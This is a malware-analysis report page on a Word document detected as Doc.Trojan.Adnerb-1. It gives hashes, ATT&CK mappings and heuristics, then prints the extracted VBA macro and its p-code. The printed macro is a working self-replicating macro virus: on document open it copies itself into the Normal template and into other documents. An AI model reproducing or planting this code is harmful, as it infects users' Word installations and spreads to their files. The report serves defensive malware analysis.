Doc.Trojan.Adnerb-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 3bcd2f2b094fb283…

MALICIOUS

Office (OLE)

32.5 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b9d21f85345e0ab86ed720149df4749f SHA-1: abd4375c3f55cca97add88064eea6840de893d5a SHA-256: 3bcd2f2b094fb2835ce4a000fda201f68c3efde3f8066a36f2526c7b167d133b
120 Risk Score

Malware Insights

Doc.Trojan.Adnerb-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for executing malicious code upon opening a document. The ClamAV detection explicitly identifies it as Doc.Trojan.Adnerb-1, a known malware family. The macro code appears to be designed to copy itself to the Normal template and the active document, and potentially execute further actions, though the exact payload is not directly visible in the provided script.

Heuristics 3

  • ClamAV: Doc.Trojan.Adnerb-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Adnerb-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4141 bytes
SHA-256: 03f85978f58fdb8f8e083f15b8afbb36bae8e2d26993e55a2ab99279241a172a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.¯f¬r´ú¸Õ"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
Set Ns = NormalTemplate.VBProject.VBComponents.Item(1)
Set Ds = ActiveDocument.VBProject.VBComponents.Item(1)
Na = Ns.CodeModule.CountOfLines
Da = Ds.CodeModule.CountOfLines
k = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
ReDim kk(k)
For i = 1 To k
   kk(i) = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Next i
If Na = 0 Then
    Ns.CodeModule.AddFromString "Private Sub Document_Close()"
    For i = 2 To k
        Ns.CodeModule.InsertLines i, kk(i)
    Next i
    Ns.Name = "¯f¬r´ú¸Õ"
End If
If Da = 0 Then
    Ds.CodeModule.AddFromString "Private Sub Document_Open()"
    For i = 2 To k
        Ds.CodeModule.InsertLines i, kk(i)
    Next i
End If
If Second(Now) Mod 10 > 5 Then MsgBox "°ê¨¾³¡³q¸ê§½³q¸ê¦w¥þ³B" & Chr(10) & Chr(13) & Chr(10) & Chr(13) & "¯f¬r·P¬V¸ÕÅç¡I"
End Sub

' Processing file: /opt/analyzer/scan_staging/00133b3baeee407bbf1942068b75361d.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 2467 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set Ns 
' Line #3:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set Ds 
' Line #4:
' 	Ld Ns 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St Na 
' Line #5:
' 	Ld Ds 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St Da 
' Line #6:
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St k 
' Line #7:
' 	OptionBase 
' 	Ld k 
' 	Redim kk 0x0001 (As Variant)
' Line #8:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld k 
' 	For 
' Line #9:
' 	Ld i 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	Ld i 
' 	ArgsSt kk 0x0001 
' Line #10:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #11:
' 	Ld Na 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #12:
' 	LitStr 0x001C "Private Sub Document_Close()"
' 	Ld Ns 
' 	MemLd CodeModule 
' 	ArgsMemCall AddFromString 0x0001 
' Line #13:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0002 
' 	Ld k 
' 	For 
' Line #14:
' 	Ld i 
' 	Ld i 
' 	ArgsLd kk 0x0001 
' 	Ld Ns 
' 	MemLd CodeModule 
' 	ArgsMemCall InsertLines 0x0002 
' Line #15:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #16:
' 	LitStr 0x0008 "¯f¬r´ú¸Õ"
' 	Ld Ns 
' 	MemSt New 
' Line #17:
' 	EndIfBlock 
' Line #18:
' 	Ld Da 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #19:
' 	LitStr 0x001B "Private Sub Document_Open()"
' 	Ld Ds 
' 	MemLd CodeModule 
' 	ArgsMemCall AddFromString 0x0001 
' Line #20:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0002 
' 	Ld k 
' 	For 
' Line #21:
' 	Ld i 
' 	Ld i 
' 	ArgsLd kk 0x0001 
' 	Ld Ds 
' 	MemLd CodeModule 
' 	ArgsMemCall InsertLines 0x0002 
' Line #22:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #23:
' 	EndIfBlock 
' Line #24:
' 	Ld Now 
' 	ArgsLd Second 0x0001 
' 	LitDI2 0x000A 
' 	Mod 
' 	LitDI2 0x0005 
' 	Gt 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0016 "°ê¨¾³¡³q¸ê§½³q¸ê¦w¥þ³B"
' 	LitDI2 0x000A 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitDI2 0x000A 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x000E "¯f¬r·P¬V¸ÕÅç¡I"
' 	Concat 
' 	ArgsCall MsgBox 0x0001 
' 	EndIf 
' Line #25:
' 	EndSub

Open this report in the interactive analyzer, or submit your own file for analysis.